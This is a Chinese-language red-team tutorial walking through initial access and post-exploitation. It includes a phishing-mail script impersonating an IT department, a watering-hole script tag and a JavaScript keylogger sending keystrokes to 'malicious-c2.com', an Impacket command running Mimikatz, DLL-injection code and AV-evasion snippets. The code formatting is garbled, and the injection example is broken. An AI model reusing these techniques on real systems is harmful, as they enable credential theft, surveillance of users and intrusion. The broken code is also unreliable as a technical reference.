一、从一次真实的攻防演练说起

前段时间,一家大型电商企业爆出了一场内部攻防演练的细节。在这次演练中,红队仅用72小时就成功渗透到了内网核心数据库,获取了超过500万用户的敏感信息。整个攻击链条行云流水,从外网打点到权限提升,再到横向移动,几乎完美复现了一场真实的APT攻击。这样的事件引发了广泛关注,也让我想起了自己当年在某互联网公司做红队时的经历。

这篇文章将结合真实案例,深入讲解红队攻防演练中的一些实用技巧,重点关注工具的使用方式和一些细节上的技术处理。从信息收集到绕过检测,再到权限维持,都会有完整的步骤和代码展示。

---

二、打点的艺术:社工与水坑结合

红队实战中,如何找到初始突破点是绝对的重头戏。尤其是在面对企业级防护体系时,直接扫描漏洞的方式往往会触发告警。因此,我更倾向于通过社工攻击或水坑攻击来低调完成初始打点。

利用公开信息做定向社工

在做社工攻击前,信息收集是重中之重。我们可以通过以下几个途径收集目标员工的相关信息:

  1. 邮件格式:通过LinkedIn、公司官网或其他公开资源,找到目标公司员工的邮箱格式。例如[email protected]这样的格式非常常见。
  2. 开发者信息:去GitHub上搜索目标公司,很多开发者的提交记录会暴露邮箱。
  3. OSINT工具:用工具theHarvester快速收集公开邮箱信息。

<pre><code class="language-bash"># 使用theHarvester收集目标域名的邮箱和子域信息 theHarvester -d target.com -b google -l 500</code></pre>

收集到邮箱后,可以构造一封诱导性较强的钓鱼邮件,比如伪装成内部IT部门要求员工更新密码的通知。以下是一个简单的邮件发送脚本:

<pre><code class="language-python">import smtplib from email.mime.text import MIMEText

伪造邮件内容

def send_phishing_email(target_email): smtp_server = &quot;smtp.example.com&quot; sender_email = &quot;[email protected]&quot; # 假冒的发件人 password = &quot;your_smtp_password&quot;

subject = &quot;紧急通知:密码重置&quot; body = &quot;&quot;&quot; 尊敬的用户,

我们检测到您的账户可能存在风险,请立即访问以下链接重置密码: http://malicious-link.com

谢谢! IT支持团队 &quot;&quot;&quot; msg = MIMEText(body, &#039;plain&#039;, &#039;utf-8&#039;) msg[&#039;Subject&#039;] = subject msg[&#039;From&#039;] = sender_email msg[&#039;To&#039;] = target_email

with smtplib.SMTP(smtp_server, 587) as server: server.starttls() server.login(sender_email, password) server.sendmail(sender_email, target_email, msg.as_string())

调用函数发一封邮件

send_phishing_email(&quot;[email protected]&quot;)</code></pre>

关键点:伪造邮件时需要使用与目标公司相似的域名,或者通过钓鱼页面进一步打点。

---

三、水坑攻击:在流量入口埋雷

水坑攻击的思路是:通过分析目标公司员工经常访问的第三方站点,在这些站点上埋下恶意代码。以一家金融企业为例,我们发现他们的员工经常访问某财经信息网站。于是,我用以下方式完成了水坑部署:

步骤一:攻击目标网站

  1. 使用nmap扫描目标网站的服务端口:
  2. <pre><code class="language-bash"> nmap -sC -sV finance-site.com `

  1. 发现其使用了一个存在RCE漏洞的老旧CMS系统(例如Joomla)。直接利用公开的exploit完成入侵。
  1. 在目标网站的某个静态文件中插入恶意脚本,代码如下:
  2. </code></pre>html <script src="http://malicious-c2.com/payload.js"></script> <pre><code> ---

步骤二:制作恶意JS

黑客示意图

恶意JS文件payload.js通过WebSocket与C2服务器通信,实现远程控制。以下是一个简单的Keylogger实现: </code></pre>javascript document.onkeypress = function(e) { var xhttp = new XMLHttpRequest(); xhttp.open("POST", "http://malicious-c2.com/log", true); xhttp.setRequestHeader("Content-Type", "application/json"); xhttp.send(JSON.stringify({ key: e.key })); }; <pre><code> ---

黑客示意图

四、内网的风暴:横向移动与权限提升

拿到初始权限后,接下来的目标是快速横向移动,扩大攻击范围。这里简单分享几个实战技巧。

利用共享文件夹横向移动

在Windows内网中,开放的共享文件夹是横向移动的绝佳入口。以下是通过SMB协议传递Payload的方式: </code></pre>bash

使用Impacket工具的smbexec模块执行命令

smbexec.py DOMAIN/user:[email protected] -command "powershell.exe -c Invoke-Mimikatz" <pre><code> ---

Hook进程获取更高权限

在目标主机上,我们可以使用DLL注入技术将恶意代码注入到合法进程中,伪装成系统服务以规避检测。以下是一个简单的C语言注入代码: </code></pre>c

include <windows.h>

include <stdio.h>

int main() { HANDLE hProcess; LPVOID pRemoteBuffer; char payload[] = "calc.exe"; // 恶意代码,这里只是打开计算器

黑客示意图

hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid); pRemoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, pRemoteBuffer, (void*)payload, sizeof(payload), NULL); CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuffer, NULL, 0, NULL);

CloseHandle(hProcess); return 0; } <pre><code> 将这一注入技术与Cobalt Strike联动,可以进一步完成内网横向扩展。

---

五、绕过检测:免杀Payload的技术细节

现在,EDR和AV的检测能力已经非常强大。为了躲避检测,Payload的免杀处理是必不可少的环节。

混淆与加密

可以通过Python加密Payload的载荷,然后在目标上解密运行。以下是AES加密的示例: </code></pre>python from Crypto.Cipher import AES import base64

加密

key = b'Sixteen byte key' cipher = AES.new(key, AES.MODE_ECB) encrypted = base64.b64encode(cipher.encrypt(b'calc.exe'.ljust(16)))

解密

decrypted = cipher.decrypt(base64.b64decode(encrypted)).strip() print(decrypted) <pre><code> 将加密后的Payload存储到文件中,再通过脚本进行解密运行。

---

动态加载DLL

通过手工加载DLL绕过防御,避免静态特征检测。以下是C语言实现的动态加载DLL方法: </code></pre>c

include <windows.h>

typedef void (*PayloadFunction)();

int main() { HMODULE hLib = LoadLibrary("malicious.dll"); PayloadFunction payload = (PayloadFunction)GetProcAddress(hLib, "RunPayload"); payload(); // 执行恶意代码 FreeLibrary(hLib); return 0; } `

---

六、结束语:在攻防中成长

红队演练的价值不仅在于验证防御体系的有效性,更在于让每个参与者深入了解攻击者的思路。在实战中,工具的选择和使用技巧尤为关键。希望本文分享的技巧对你的攻防实践有所启发,当然,所有操作都需在授权范围内进行。